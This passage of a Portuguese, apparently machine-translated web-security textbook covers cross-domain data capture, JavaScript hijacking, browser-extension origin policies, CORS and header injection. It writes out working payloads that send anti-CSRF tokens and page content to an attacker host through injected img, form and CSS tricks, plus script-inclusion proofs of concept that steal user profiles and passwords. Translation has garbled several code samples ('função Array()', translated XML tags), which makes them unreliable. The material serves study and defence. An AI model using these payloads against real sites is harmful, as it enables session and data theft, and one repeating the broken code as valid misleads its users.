Um método mais robusto para um aplicativo impedir que um invasor enquadre suas páginas é usar o cabeçalho de resposta `X-Frame-Options`. Ele foi introduzido com o Internet Explorer 8 e, desde então, foi implementado na maioria dos outros navegadores populares. O cabeçalho `X-Frame-Options` pode assumir dois valores. O valor `deny` instrui o navegador a impedir que a página seja enquadrada, e `sameorigin` instrui o navegador a impedir o enquadramento por domínios de terceiros.

DICA Ao analisar as defesas antiframing empregadas em um aplicativo, sempre examine as versões relacionadas da interface que são adaptadas para dispositivos móveis. Por exemplo, embora **`o wahh-app.com/chat/`** possa se defender de forma robusta contra ataques de enquadramento, pode não haver defesas protegendo **`o wahh-app.com/mobile/chat/`**. Os proprietários de aplicativos geralmente ignoram as versões móveis da interface do usuário ao desenvolverem defesas antiframing, talvez presumindo que um ataque de reparação da interface do usuário seria impraticável em um dispositivo móvel. No entanto, em muitos casos, a versão móvel do aplicativo é executada normalmente quando acessada por meio de um navegador padrão (não móvel), e as sessões de usuário são compartilhadas entre as duas versões do aplicativo.

Captura de dados entre domínios

A política de mesma origem foi criada para impedir que o código executado em um domínio acesse o conteúdo fornecido por um domínio diferente. É por isso que os ataques de falsificação de solicitações entre sites são frequentemente descritos como ataques "unidirecionais". Embora

um domínio pode causar solicitações a um domínio diferente, ele não pode ler facilmente as respostas dessas solicitações para roubar os dados do usuário de um domínio diferente.

De fato, várias técnicas podem ser usadas em algumas situações para capturar toda ou parte de uma resposta de um domínio diferente. Esses ataques normalmente exploram algum aspecto da funcionalidade do aplicativo de destino, juntamente com algum recurso dos navegadores populares, para permitir a captura de dados entre domínios de uma forma que a política de mesma origem pretende evitar.

Captura de dados por meio de injeção de HTML

Muitos aplicativos contêm funcionalidades que permitem a um invasor injetar algum HTML limitado em uma resposta recebida por um usuário diferente de uma forma que não chega a ser uma vulnerabilidade XSS completa. Por exemplo, um aplicativo de webmail pode exibir e-mails que contenham alguma marcação HTML, mas bloquear quaisquer tags e atributos que possam ser usados para executar código de script. Ou uma mensagem de erro gerada dinamicamente pode filtrar um intervalo de expressões, mas ainda permitir o uso limitado de HTML. Nessas situações, pode ser possível aproveitar a condição de injeção de HTML para fazer com que os dados confidenciais da página sejam enviados para o domínio do invasor. Por exemplo, em um aplicativo de webmail, o invasor pode conseguir capturar o conteúdo de uma mensagem de e-mail particular. Como alternativa, o invasor pode conseguir ler um token anti-CSRF que está sendo usado na página, permitindo que ele entregue um ataque CSRF para encaminhar as mensagens de e-mail do usuário para um endereço arbitrário.

Suponha que o aplicativo de correio eletrônico permita a injeção de HTML limitado na resposta a seguir:

```
[injeção limitada de HTML aqui].
<form action="http://wahh-mail.com/forwardemail" method="POST">
<input type="hidden" name="nonce" value="2230313740821">
<input type="submit" value="Forward">
...
</form>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
```

Após o ponto de injeção, a página contém um formulário HTML que inclui um token CSRF. Nessa situação, um invasor poderia injetar o seguinte texto na resposta:

```
<img src='http://mdattacker.net/capture?html=
```

Esse trecho de HTML abre uma tag de imagem direcionada a um URL no domínio do invasor. O URL é encapsulado entre aspas simples, mas a string de URL

não é encerrado e a tag <img> não é fechada. Isso faz com que o navegador trate o texto que segue o ponto de injeção como parte do URL, até que uma única aspa seja encontrada, o que acontece mais tarde na resposta, quando uma cadeia de caracteres JavaScript entre aspas aparece. Os navegadores toleram todos os caracteres intermediários e o fato de o URL abranger várias linhas.

Quando o navegador do usuário processa a resposta injetada pelo invasor, ele tenta buscar a imagem especificada e faz uma solicitação para o seguinte URL, enviando assim o token anti-CSRF sensível para o servidor do invasor:

```
http://mdattacker.net/capture?html=<form%20action="http://wahh-mail.com/
forwardemail"%20method="POST"><input%20type="hidden"%20name="nonce"%20value=
"2230313740821"><input%20type="submit"%20value="Forward">...</form>...
<script> var%20_StatsTrackerId=
```

Um ataque alternativo seria injetar o texto a seguir:

```
<form action="http://mdattacker.net/capture" method="POST">
```

Esse ataque injeta uma tag <form> direcionada ao domínio do invasor antes da tag <form> usada pelo próprio aplicativo. Nessa situação, quando os navegadores encontram a tag <form> aninhada, eles a ignoram e processam o formulário no contexto da primeira tag <form> que foi encontrada. Portanto, se o usuário enviar o formulário, todos os seus parâmetros, inclusive o token sensível anti-CSRF, serão enviados ao servidor do invasor:

```
POST /capture HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Host: mdattacker.net

nonce=2230313740821&...
```

Como esse segundo ataque injeta apenas HTML bem formado, ele pode ser mais eficaz contra filtros projetados para permitir um subconjunto de HTML em entradas ecoadas. No entanto, ele também requer alguma interação do usuário para ser bem-sucedido, o que pode reduzir sua eficácia em algumas situações.

Captura de dados por meio de injeção de CSS

Nos exemplos discutidos na seção anterior, foi necessário usar alguma marcação HTML limitada no texto injetado para capturar parte da resposta entre domínios. Em muitas situações, no entanto, o aplicativo bloqueia ou codifica em HTML os caracteres < e > na entrada injetada, impedindo a introdução de novas tags HTML. Condições de injeção de texto puro como essa são comuns em aplicativos da Web e geralmente são consideradas inofensivas.

Por exemplo, em um aplicativo de webmail, um invasor pode conseguir introduzir algum texto limitado na resposta de um usuário-alvo por meio da linha de assunto de um e-mail. Nessa situação, o invasor pode conseguir capturar dados confidenciais entre domínios injetando código CSS no aplicativo.

No exemplo já discutido, suponha que o invasor envie um e-mail com esta linha de assunto:

```
{}*{font-family:'
```

Como ele não contém nenhum metacaractere HTML, será aceito pela maioria dos aplicativos e exibido sem modificações nas respostas ao usuário destinatário. Quando isso acontece, a resposta retornada ao usuário pode ter a seguinte aparência:

```
<html>
<head>
<title>Caixa de entrada do WahhMail</title>
</head>
<body>
...
<td>{}*{font-family:'</td>
...
<form action="http://wahh-mail.com/forwardemail" method="POST">
<input type="hidden" name="nonce" value="2230313740821">
<input type="submit" value="Forward">
...
</form>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
</body>
</html>
```

Essa resposta obviamente contém HTML. Surpreendentemente, no entanto, alguns navegadores permitem que essa resposta seja carregada como uma folha de estilo CSS e processam alegremente todas as definições CSS que ela contém. No presente caso, a resposta injetada define a propriedade CSS `font-family` e inicia uma string entre aspas como a definição da propriedade. O texto injetado pelo invasor não fecha a cadeia de caracteres e, portanto, continua pelo restante da resposta, incluindo o campo de formulário oculto que contém o token sensível anti-CSRF. (Observe que não é necessário que as definições de CSS sejam citadas. No entanto, se não estiverem, elas terminam no próximo caractere de ponto e vírgula, que pode ocorrer antes dos dados confidenciais que o invasor deseja capturar).

Para explorar esse comportamento, um invasor precisa hospedar uma página em seu próprio domínio que inclua a resposta injetada como uma folha de estilo CSS. Isso faz com que todas as definições de CSS incorporadas sejam aplicadas na própria página do invasor. Essas definições podem

e, em seguida, ser consultado usando JavaScript para recuperar os dados capturados. Por exemplo, o invasor pode hospedar uma página contendo o seguinte:

```
<link rel="stylesheet" href="https://wahh-mail.com/inbox" type="text/
css">
<script>
   document.write('<img src="http://mdattacker.net/capture? +
 escape(document.body.currentStyle.fontFamily) + '">');
</script>
```

Essa página inclui o URL relevante do aplicativo de e-mail da Web como uma folha de estilo e, em seguida, executa um script para consultar a propriedade `font-family`, que foi definida na resposta do aplicativo de e-mail da Web. O valor da propriedade `font-family`, incluindo o token anti-CSRF sensível, é então transmitido ao servidor do invasor por meio de uma solicitação gerada dinamicamente para o seguinte URL:

```
http://mdattacker.net/capture?%27%3C/td%3E%0D%0A...%0D%0A%3Cform%20
action%3D%22 http%3A//wahh-mail.com/forwardemail%22%20method%3D%22POST%2
2%3E%0D%0A%3Cinput%2 0type%3D%22hidden%22%20name%3D%22nonce%22%20value%3
D%222230313740821%22%3E%0D %0A%3Cinput%20type%3D%22submit%22%20value%3D%
22Forward%22%3E%0D%0A...%0D%0A%3C/ form%3E%0D%0A...%0D%0A%3Cscript%3E%0D
%0Avar%20_StatsTrackerId%3D%27AAE78F27CB32 10D%27
```

Esse ataque funciona nas versões atuais do Internet Explorer. Outros navegadores modificaram o tratamento de inclusões de CSS para evitar que o ataque funcione, e é possível que o IE também faça isso no futuro.

Sequestro de JavaScript

O sequestro de JavaScript oferece um método adicional de captura de dados entre domínios, transformando o CSRF em um ataque "bidirecional" limitado. Conforme descrito no Capítulo 3, a política de mesma origem permite que um domínio inclua código de script de outro domínio, e esse código é executado no contexto do domínio de invocação, não do domínio de emissão. Essa disposição é inofensiva, desde que as respostas do aplicativo executáveis usando um script entre domínios contenham apenas código não sensível, que é estático e acessível a qualquer usuário do aplicativo. No entanto, muitos dos aplicativos atuais usam JavaScript para transmitir dados confidenciais, de uma forma que não foi prevista quando a política de mesma origem foi criada. Além disso, os desenvolvimentos nos navegadores significam que uma gama cada vez maior de sintaxe está se tornando executável como JavaScript válido, com novas oportunidades de captura de dados entre domínios.

As alterações no design de aplicativos que se enquadram no amplo guarda-chuva "2.0" incluem novas maneiras de usar o código JavaScript para transmitir dados confidenciais do servidor para o cliente. Em muitas situações, uma maneira rápida e eficiente de atualizar a interface do usuário por meio de solicitações assíncronas ao servidor é incluir dinamicamente o código de script que contém, de alguma forma, os dados específicos do usuário que precisam ser exibidos.

Esta seção examina várias maneiras pelas quais o código de script executado dinamicamente pode ser usado para transmitir dados confidenciais. Ela também considera como esse código pode ser sequestrado para capturar os dados de um domínio diferente.

Chamadas de função

Considere um aplicativo que exibe as informações do perfil do usuário atual na interface do usuário quando ele clica na guia apropriada. Para proporcionar uma experiência perfeita ao usuário, as informações são obtidas por meio de uma solicitação assíncrona. Quando o usuário clica na guia Profile, alguns códigos do lado do cliente incluem dinamicamente o seguinte script:

```
https://mdsec.net/auth/420/YourDetailsJson.ashx
```

A resposta desse URL contém uma chamada de retorno para uma função já definida que exibe os detalhes do usuário na interface do usuário:

```
showUserInfo(
[
  [ 'Nome', 'Matthew Adamson' ],
  [ 'Nome de usuário', 'adammatt' ],
  [ 'Senha', '4nl1ub3' ],
  [ 'Uid', '88' ],
  [ 'Função', 'Usuário' ]
]);
```

Um invasor pode capturar esses detalhes hospedando sua própria página que implementa a função `showUserInfo` e inclui o script que fornece as informações do perfil. Um ataque simples de prova de conceito é o seguinte:

```
<script>
     function showUserInfo(x) { alert(x); }
</script>
<script src="https://mdsec.net/auth/420/YourDetailsJson.ashx">
</script>
```

Se um usuário que acessar a página do invasor estiver simultaneamente conectado ao aplicativo vulnerável, a página do invasor incluirá dinamicamente o script que contém as informações do perfil do usuário. Esse script chama a função `showUserInfo`, conforme implementado pelo invasor, e seu código recebe os detalhes do perfil do usuário, incluindo, nesse caso, a senha do usuário.

EXPERIMENTE!

```
http://mdsec.net/auth/420/
```

JSON

Em uma variação do exemplo anterior, o aplicativo não executa uma função de retorno de chamada no script invocado dinamicamente, mas, em vez disso, apenas retorna a matriz JSON que contém os detalhes do usuário:

```
[
  [ 'Nome', 'Matthew Adamson' ],
  [ 'Nome de usuário', 'adammatt' ],
  [ 'Senha', '4nl1ub3' ],
  [ 'Uid', '88' ],
  [ 'Função', 'Usuário' ]
]
```

Conforme descrito no Capítulo 3, o JSON é uma notação flexível para representar matrizes de dados e pode ser consumido diretamente por um interpretador JavaScript.

Em versões mais antigas do Firefox, era possível realizar um ataque de inclusão de script entre domínios para capturar esses dados, substituindo o construtor padrão `de matriz` no JavaScript. Por exemplo:

```
<script>
    function capture(s) {
        alert(s);
    }
    função Array() {
        for (var i = 0; i < 5; i++)
            this[i] setter = capture;
    }
</script>
<script src="https://mdsec.net/auth/409/YourDetailsJson.ashx">
</script>
```

Esse ataque modifica o objeto `Array` padrão e define uma função `setter` personalizada, que é invocada quando os valores são atribuídos a elementos em uma matriz. Em seguida, ele executa a resposta que contém os dados JSON. O interpretador JavaScript consome os dados JSON, constrói uma `matriz` para manter seus valores e invoca a função `setter` personalizada do invasor para cada valor na matriz.

Desde que esse tipo de ataque foi descoberto em 2006, o navegador Firefox foi modificado para que os setters personalizados não sejam invocados durante a inicialização da matriz. Esse ataque não é possível nos navegadores atuais.

EXPERIMENTE!

`http://mdsec.net/auth/409/`

Você precisa fazer o download da versão 2.0 do Firefox para explorar esse exemplo. Você pode fazer o download no seguinte URL:

`www.oldapps.com/firefox.php?old_firefox=26`

Atribuição de variáveis

Considere um aplicativo de rede social que faz uso intenso de solicitações assíncronas para ações como atualização de status, adição de amigos e publicação de comentários. Para proporcionar uma experiência de usuário rápida e perfeita, partes da interface do usuário são carregadas usando scripts gerados dinamicamente. Para evitar ataques CSRF padrão, esses scripts incluem tokens anti-CSRF que são usados ao executar ações confidenciais. Dependendo de como esses tokens são incorporados aos scripts dinâmicos, um invasor pode capturar os tokens ao incluir os scripts relevantes entre domínios.

Por exemplo, suponha que um script retornado pelo aplicativo na `rede wahh .com` contém o seguinte:

```
...
var nonce = '222230313740821';
...
```

Um ataque simples de prova de conceito para capturar o valor `do nonce` entre domínios seria o seguinte:

```
<script src="https://wahh-network.com/status">
</script>
<script>
    alert(nonce);
</script>
```

Em um exemplo diferente, o valor do token pode ser atribuído em uma função:

```
função setStatus(status)
{
    ...
    nonce = '222230313740821';
    ...
}
```

Nessa situação, o seguinte ataque funcionaria:

```
<script src="https://wahh-network.com/status">
</script>
<script>
    setStatus('a');
    alert(nonce);
</script>
```

Várias outras técnicas podem ser aplicadas em diferentes situações com atribuições de variáveis. Em alguns casos, o invasor pode precisar implementar uma réplica parcial da lógica do lado do cliente do aplicativo de destino para poder incluir alguns de seus scripts e capturar os valores de itens confidenciais.

E4X

Recentemente, a E4X tem sido uma área em rápida evolução, com o comportamento do navegador sendo atualizado com frequência em resposta a condições exploráveis que foram identificadas em vários aplicativos do mundo real.

O E4X é uma extensão das linguagens ECMAScript (incluindo JavaScript) que adiciona suporte nativo à linguagem XML. No momento, ela está implementada nas versões atuais do navegador Firefox. Embora tenha sido corrigido desde então, um exemplo clássico de captura de dados entre domínios pode ser encontrado no manuseio do E4X pelo Firefox.

Além de permitir o uso direto da sintaxe XML no JavaScript, o E4X permite chamadas aninhadas para o JavaScript a partir do XML:

```
var foo=<bar>{prompt('Digite o valor de bar.')}</bar>;
```

Esses recursos do E4X têm duas consequências significativas para ataques de captura de dados entre domínios:

- Uma parte da marcação XML bem formada é tratada como um valor que não é atribuído a nenhuma variável.
- O texto aninhado em um bloco `{...}` é executado como JavaScript para inicializar a parte relevante dos dados XML.

Grande parte do HTML bem formado também é XML bem formado, o que significa que pode ser consumido como E4X. Além disso, grande parte do HTML inclui código de script em um bloco `{...}` que contém dados confidenciais. Por exemplo:

```
<html>
<head>
<script>
...
função setNonce()
{
    nonce = '222230313740821';
}
...
</script>
</head>
<body>
...
</body>
</html>
```

Em versões anteriores do Firefox, era possível realizar uma inclusão de script entre domínios de uma resposta HTML completa como essa e fazer com que parte do JavaScript incorporado fosse executado no domínio do invasor.

Além disso, em uma técnica semelhante ao ataque de injeção de CSS descrito anteriormente, às vezes era possível injetar texto em pontos apropriados dentro da resposta HTML de um aplicativo de destino para envolver um bloco `{...}` arbitrário em torno dos dados confidenciais contidos nessa resposta. A resposta inteira poderia então ser incluída em vários domínios como um script para capturar os dados agrupados.

Nenhum dos ataques descritos acima funciona nos navegadores atuais. À medida que esse processo continua e o suporte do navegador para novas construções sintáticas é ampliado, é provável que novos tipos de captura de dados entre domínios se tornem possíveis, visando aplicativos que não eram vulneráveis a esses ataques antes da introdução dos novos recursos do navegador.

Como evitar o sequestro de JavaScript

Várias condições prévias devem estar presentes para que um ataque de sequestro de JavaScript possa ser realizado. Para evitar esses ataques, é necessário violar pelo menos uma dessas condições prévias. Para oferecer defesa em profundidade, recomenda-se que várias precauções sejam implementadas em conjunto:

- Quanto às solicitações que executam ações confidenciais, o aplicativo deve usar as defesas anti-CSRF padrão para impedir que as solicitações entre domínios retornem respostas que contenham dados confidenciais.
- Quando um aplicativo executa dinamicamente o código JavaScript de seu próprio domínio, ele não fica restrito ao uso de tags `<script>` para incluir o script. Como a solicitação está no local, o código do lado do cliente pode usar `XMLHttpRequest` para recuperar a resposta bruta e realizar processamento adicional nela antes de ser executada como script. Isso significa que o aplicativo pode inserir JavaScript inválido ou problemático no início da resposta, que o aplicativo cliente remove antes de ser processado. Por exemplo, o código a seguir causa um loop infinito quando executado usando um script include, mas pode ser removido antes da execução quando o script é acessado usando `XMLHttpRequest`:

  ```
  for(;;);
  ```

- Como o aplicativo pode usar `XMLHttpRequest` para recuperar código de script dinâmico, ele pode usar solicitações `POST` para fazer isso. Se o aplicativo aceitar apenas solicitações `POST` para códigos de script potencialmente vulneráveis, ele impedirá que sites de terceiros os incluam usando tags `<script>`.

A política de mesma origem revisitada

Este capítulo e o anterior descreveram vários exemplos de como a política de mesma origem é aplicada ao HTML e ao JavaScript e as maneiras pelas quais ela pode ser contornada por meio de bugs de aplicativos e peculiaridades do navegador.

Para entender melhor as consequências da política de mesma origem para a segurança de aplicativos Web, esta seção examina alguns outros contextos em que a política se aplica e como determinados ataques entre domínios podem surgir nesses contextos.

A política de mesma origem e as extensões de navegador

Todas as tecnologias de extensão de navegador amplamente implantadas implementam a segregação entre domínios de uma forma derivada dos mesmos princípios básicos da política de mesma origem do navegador principal. No entanto, existem alguns recursos exclusivos em cada caso que podem permitir ataques entre domínios em algumas situações.

A política de mesma origem e o Flash

Os objetos Flash têm sua origem determinada pelo domínio do URL a partir do qual o objeto é carregado, e não pelo URL da página HTML que carrega o objeto. Assim como ocorre com a política de mesma origem no navegador, a segregação é baseada no protocolo, no nome do host e no número da porta por padrão.

Além da interação bidirecional completa com a mesma origem, os objetos Flash podem iniciar solicitações entre domínios por meio do navegador, usando a API `URLRequest`. Isso oferece mais controle sobre as solicitações do que é possível com técnicas puras de navegador, incluindo a capacidade de especificar um cabeçalho `Content-Type` arbitrário e enviar conteúdo arbitrário no corpo das solicitações `POST`. Os cookies do jarro de cookies do navegador são aplicados a essas solicitações, mas as respostas das solicitações de origem cruzada não podem, por padrão, ser lidas pelo objeto Flash que as iniciou.

O Flash inclui um recurso para que os domínios concedam permissão para que objetos Flash de outros domínios realizem uma interação bidirecional completa com eles. Isso geralmente é feito publicando um arquivo de política no URL `/crossdomain.xml` no domínio que está concedendo a permissão. Quando um objeto Flash tenta fazer uma solicitação bidirecional entre domínios, a extensão do navegador Flash recupera o arquivo de política do domínio que está sendo solicitado e permite a solicitação somente se o domínio solicitado conceder acesso ao domínio solicitante.

Aqui está um exemplo do arquivo de política do Flash publicado por www.adobe.com:

```
<?xml version="1.0"?>
<política de domínio cruzado>
      <site-control permitted-cross-domain-policies="by-content-type"/>
      <allow-access-from domain="*.macromedia.com" />
      <allow-access-from domain="*.adobe.com" />
      <allow-access-from domain="*.photoshop.com" />
      <allow-access-from domain="*.acrobat.com" />
</cross-domain-policy>
```

ETAPAS DO HACK

Você deve sempre verificar o arquivo **/crossdomain.xml** em qualquer aplicativo da Web que estiver testando. Mesmo que o aplicativo em si não use o Flash, se a permissão for concedida a outro domínio, os objetos Flash emitidos por esse domínio terão permissão para interagir com o domínio que publica a política.

- Se o aplicativo permitir o acesso irrestrito (especificando **<allow-access-from domain="*" />**), qualquer outro site poderá realizar uma interação bidirecional, utilizando as sessões dos usuários do aplicativo. Isso permitiria que todos os dados fossem recuperados e que todas as ações do usuário fossem executadas por qualquer outro domínio.
- Se o aplicativo permitir o acesso a subdomínios ou a outros domínios usados pela mesma organização, a interação bidirecional é, obviamente, possível a partir desses domínios. Isso significa que vulnerabilidades como XSS nesses domínios podem ser exploradas para comprometer o domínio que concede a permissão. Além disso, se um invasor puder comprar anúncios baseados em Flash em qualquer domínio permitido, os objetos Flash que ele implantar poderão ser usados para comprometer o domínio que concede a permissão.
- Alguns arquivos de política divulgam nomes de host da intranet ou outras informações confidenciais que podem ser úteis para um invasor.

Outro ponto de observação é que um objeto Flash pode especificar um URL no servidor de destino do qual o arquivo de política deve ser baixado. Se um arquivo de política de nível superior não estiver presente no local padrão, o navegador Flash tentará fazer o download de uma política a partir do URL especificado. Para ser processada, a resposta a esse URL deve conter um arquivo de política formatado de forma válida e deve especificar um tipo MIME baseado em texto ou XML no cabeçalho `Content-Type`. No momento, a maioria dos domínios da Web não publica um arquivo de política do Flash em `/crossdomain.xml`, talvez por supor que o comportamento padrão sem política seja não permitir nenhum acesso entre domínios. No entanto, isso ignora a possibilidade de objetos Flash de terceiros especificarem uma URL personalizada a partir da qual se pode fazer o download de uma política. Se um aplicativo contiver qualquer funcionalidade que possa ser aproveitada por um invasor para colocar um arquivo XML arbitrário em um URL no domínio do aplicativo, ele poderá estar vulnerável a esse ataque.

A política de mesma origem e o Silverlight

A política de mesma origem do Silverlight é amplamente baseada na política implementada pelo Flash. Os objetos do Silverlight têm sua origem determinada pelo domínio do URL a partir do qual o objeto é carregado, e não pelo URL da página HTML que carrega o objeto.

Uma diferença importante entre o Silverlight e o Flash é que o Silverlight não separa as origens com base no protocolo ou na porta, de modo que os objetos carregados via HTTP podem interagir com URLs HTTPS no mesmo domínio.

O Silverlight usa seu próprio arquivo de política entre domínios, localizado em `/clientaccess- policy.xml`. Aqui está um exemplo do arquivo de política do Silverlight publicado por `www. microsoft.com`:

```
<?xml version="1.0" encoding="utf-8"?>
<política de acesso>
  <cross-domain-access>
    <política>
      <permitir de >
        <domínio uri="http://www.microsoft.com"/>
        <domínio uri="http://i.microsoft.com"/>
        <domínio uri="http://i2.microsoft.com"/>
        <domínio uri="http://i3.microsoft.com"/>
        <domínio uri="http://i4.microsoft.com"/>
        <domínio uri="http://img.microsoft.com"/>
      </allow-from>
      <conceder a>
        <resource path="/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
```

As mesmas considerações já discutidas sobre o arquivo de política entre domínios do Flash se aplicam ao Silverlight, com a exceção de que o Silverlight não permite que um objeto especifique um URL não padrão para o arquivo de política.

Se o arquivo de política do Silverlight não estiver presente em um servidor, a extensão do navegador Silverlight tentará carregar um arquivo de política do Flash válido a partir do local padrão. Se o arquivo estiver presente, a extensão o processará em seu lugar.

A política de mesma origem e Java

O Java implementa a segregação entre origens de uma forma que é amplamente baseada na política de mesma origem do navegador. Como em outras extensões de navegador, os applets Java têm sua origem determinada pelo domínio do URL a partir do qual o applet é carregado, e não pelo URL da página HTML que carrega o objeto.

Uma diferença importante com a política de mesma origem do Java é que outros domínios que compartilham o endereço IP do domínio de origem são considerados de mesma origem em algumas circunstâncias. Isso pode levar a uma interação limitada entre domínios em algumas situações de hospedagem compartilhada.

Atualmente, o Java não tem nenhuma disposição para que um domínio publique uma política que permita a interação de outros domínios.

A política de mesma origem e o HTML5

Conforme concebido originalmente, o `XMLHttpRequest` permite que as solicitações sejam emitidas somente para a mesma origem da página que as invoca. Com o HTML5, essa tecnologia está sendo modificada para permitir a interação bidirecional com outros domínios, desde que os domínios acessados deem permissão para isso.

A permissão para interação entre domínios é implementada usando uma série de novos cabeçalhos HTTP. Quando um script tenta fazer uma solicitação entre domínios usando `XMLHttpRequest`, a maneira como isso é processado depende dos detalhes da solicitação:

- Para solicitações "normais", do tipo que pode ser gerado em vários domínios usando construções HTML existentes, o navegador emite a solicitação e inspeciona os cabeçalhos de resposta resultantes para determinar se o script que o invocou deve ter permissão para acessar a resposta da solicitação.
- Outras solicitações que não podem ser geradas usando o HTML existente, como as que usam um método HTTP ou `Content-Type` não padrão, ou que adicionam cabeçalhos HTTP personalizados, são tratadas de forma diferente. O navegador primeiro faz uma solicitação `OPTIONS` para o URL de destino e, em seguida, inspeciona os cabeçalhos de resposta para determinar se a solicitação que está sendo tentada deve ser permitida.

Em ambos os casos, o navegador adiciona um cabeçalho `Origin` para indicar o domínio do qual a solicitação entre domínios está sendo tentada:

```
Origem: http://wahh-app.com
```

Para identificar os domínios que podem executar a interação bidirecional, a resposta do servidor inclui o cabeçalho `Access-Control-Allow-Origin`, que pode incluir uma lista separada por vírgulas de domínios aceitos e curingas:

```
Access-Control-Allow-Origin: *
```

No segundo caso, em que as solicitações entre domínios são validadas usando uma solicitação `OPTIONS`, cabeçalhos como os seguintes podem ser usados para indicar os detalhes da solicitação que será tentada:

```
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-PINGOTHER
```

Em resposta à solicitação `OPTIONS`, o servidor pode usar cabeçalhos como os seguintes para especificar os tipos de solicitações entre domínios que são permitidos:

```
Access-Control-Allow-Origin:    http://wahh-app.com
Access-Control-Allow-Methods:  POST,  GET,  OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER
Access-Control-Max-Age: 1728000
```

ETAPAS DO HACK

1. Para testar o tratamento de solicitações entre domínios por um aplicativo usando **`XMLHttpRequest`**, tente adicionar um cabeçalho **`Origin`** especificando um domínio diferente e examine os cabeçalhos **`Access-Control`** que são retornados. As implicações de segurança de permitir o acesso bidirecional de qualquer domínio, ou de outros domínios especificados, são as mesmas descritas para a política entre domínios do Flash.
2. Se houver suporte para qualquer acesso entre domínios, você também deverá usar solicitações **`OPTIONS`** para entender exatamente quais cabeçalhos e outros detalhes de solicitação são permitidos.

Além da possibilidade de permitir a interação bidirecional de domínios externos, os novos recursos do `XMLHttpRequest` podem levar a novos tipos de ataques que exploram recursos específicos de aplicativos da Web ou novos ataques em geral.

Conforme descrito no Capítulo 12, alguns aplicativos usam `XMLHttpRequest` para fazer solicitações assíncronas de arquivos que são especificados em um parâmetro de URL ou após o identificador de fragmento. O arquivo recuperado é carregado dinamicamente em um `<div>` na página atual. Como as solicitações entre domínios não eram possíveis anteriormente usando `XMLHttpRequest`, não era necessário validar se o item solicitado estava no próprio domínio do aplicativo. Com a nova versão do `XMLHttpRequest`, um invasor pode especificar um URL em um domínio que ele controla, realizando assim ataques de inclusão de arquivos remotos no lado do cliente contra usuários de aplicativos.

De modo mais geral, os novos recursos do `XMLHttpRequest` oferecem novas maneiras de um site mal-intencionado ou comprometido realizar ataques por meio dos navegadores dos usuários visitantes, mesmo quando o acesso entre domínios é negado. A varredura de portas entre domínios foi demonstrada, usando o `XMLHttpRequest` para fazer tentativas de solicitações para hosts e portas arbitrários e observando as diferenças de tempo nas respostas para inferir se a porta solicitada está aberta, fechada ou filtrada. Além disso, o `XMLHttpRequest` pode ser usado para fornecer ataques distribuídos de negação de serviço em um ritmo muito mais rápido do que é possível usando métodos mais antigos de geração de solicitações entre domínios. Se o acesso entre domínios for negado pelo aplicativo visado, será necessário incrementar um valor em um parâmetro de URL para garantir que cada solicitação seja para um URL diferente e, portanto, seja realmente emitida pelo navegador.

Cruzamento de domínios com aplicativos de serviço de proxy

Alguns aplicativos da Web disponíveis publicamente funcionam efetivamente como serviços de proxy, permitindo que o conteúdo seja recuperado de um domínio diferente, mas servido para o domínio do usuário.

usuário de dentro do aplicativo Web de proxy. Um exemplo disso é o Google Translate (GT), que solicita um URL externo especificado e retorna seu conteúdo, conforme mostrado na Figura 13-2. (Embora o mecanismo de tradução possa modificar o texto na resposta recuperada, a marcação HTML subjacente e qualquer código de script não são modificados).

Figura 13-2: O Google Translate pode ser usado para solicitar um URL externo e retornar seu conteúdo, com o texto na resposta traduzido em um idioma específico

Isso se torna interessante quando dois domínios externos diferentes são acessados por meio do aplicativo GT. Quando isso acontece, no que diz respeito ao navegador, o conteúdo de cada domínio externo passa a residir no domínio GT, já que esse é o domínio do qual foi recuperado. Como os dois conjuntos de conteúdo residem no mesmo domínio, a interação bidirecional entre eles é possível se isso também for realizado por meio do domínio GT.

Obviamente, se um usuário estiver conectado a um aplicativo externo e depois acessar o aplicativo via GT, seu navegador tratará corretamente o GT como um domínio diferente. Portanto, os cookies do usuário para o aplicativo externo não são enviados nas solicitações via GT, nem é possível qualquer outra interação. Portanto, um site mal-intencionado não pode aproveitar facilmente o GT para comprometer as sessões dos usuários em outros aplicativos. No entanto, o comportamento dos serviços de proxy, como o GT, pode permitir que um site realize uma interação bidirecional com as áreas públicas e não autenticadas de um aplicativo em um domínio diferente. Um exemplo desse ataque é o Jikto, um aplicativo

worm de prova de conceito que pode se espalhar entre aplicativos da Web encontrando e explorando vulnerabilidades persistentes de XSS neles. Em essência, o código do Jikto funciona da seguinte maneira:

- Quando é executado pela primeira vez, o script verifica se está sendo executado no domínio GT. Caso contrário, ele recarrega o URL atual por meio do domínio GT, transferindo-se efetivamente para esse domínio.
- O script solicita conteúdo de um domínio externo por meio do GT. Como o próprio script está sendo executado no domínio GT, ele pode realizar interações bidirecionais com conteúdo público em qualquer outro domínio via GT.
- O script implementa um scanner básico da Web em JavaScript para sondar o domínio externo em busca de falhas persistentes de XSS. Essas vulnerabilidades podem surgir em funções acessíveis ao público, como quadros de mensagens.
- Quando uma vulnerabilidade adequada é identificada, o script a explora para carregar uma cópia de si mesmo no domínio externo.
- Quando outro usuário visita o domínio externo comprometido, o script é executado e o processo se repete.

O worm Jikto procura explorar as falhas de XSS para se autopropagar. No entanto, a técnica básica de ataque de mesclar domínios por meio de serviços de proxy não depende de nenhuma vulnerabilidade nos aplicativos externos individuais que são visados e não pode ser defendida de forma realista. No entanto, ela é interessante como uma técnica de ataque por si só. Também é um tópico útil para testar sua compreensão de como a política de mesma origem se aplica em situações incomuns.

Outros ataques de injeção no lado do cliente

Muitos dos ataques que examinamos até agora envolvem o aproveitamento de alguma função do aplicativo para injetar conteúdo criado nas respostas do aplicativo. O principal exemplo disso são os ataques XSS. Também vimos a técnica usada para capturar dados entre domínios por meio de HTML e CSS injetados. Esta seção examina uma série de outros ataques que envolvem injeção em contextos do lado do cliente.

Injeção de cabeçalho HTTP

As vulnerabilidades de injeção de cabeçalho HTTP surgem quando dados controláveis pelo usuário são inseridos de maneira insegura em um cabeçalho HTTP retornado pelo aplicativo. Se um invasor puder injetar caracteres de nova linha no cabeçalho que ele controla, ele poderá inserir cabeçalhos HTTP adicionais na resposta e escrever conteúdo arbitrário no corpo da resposta.

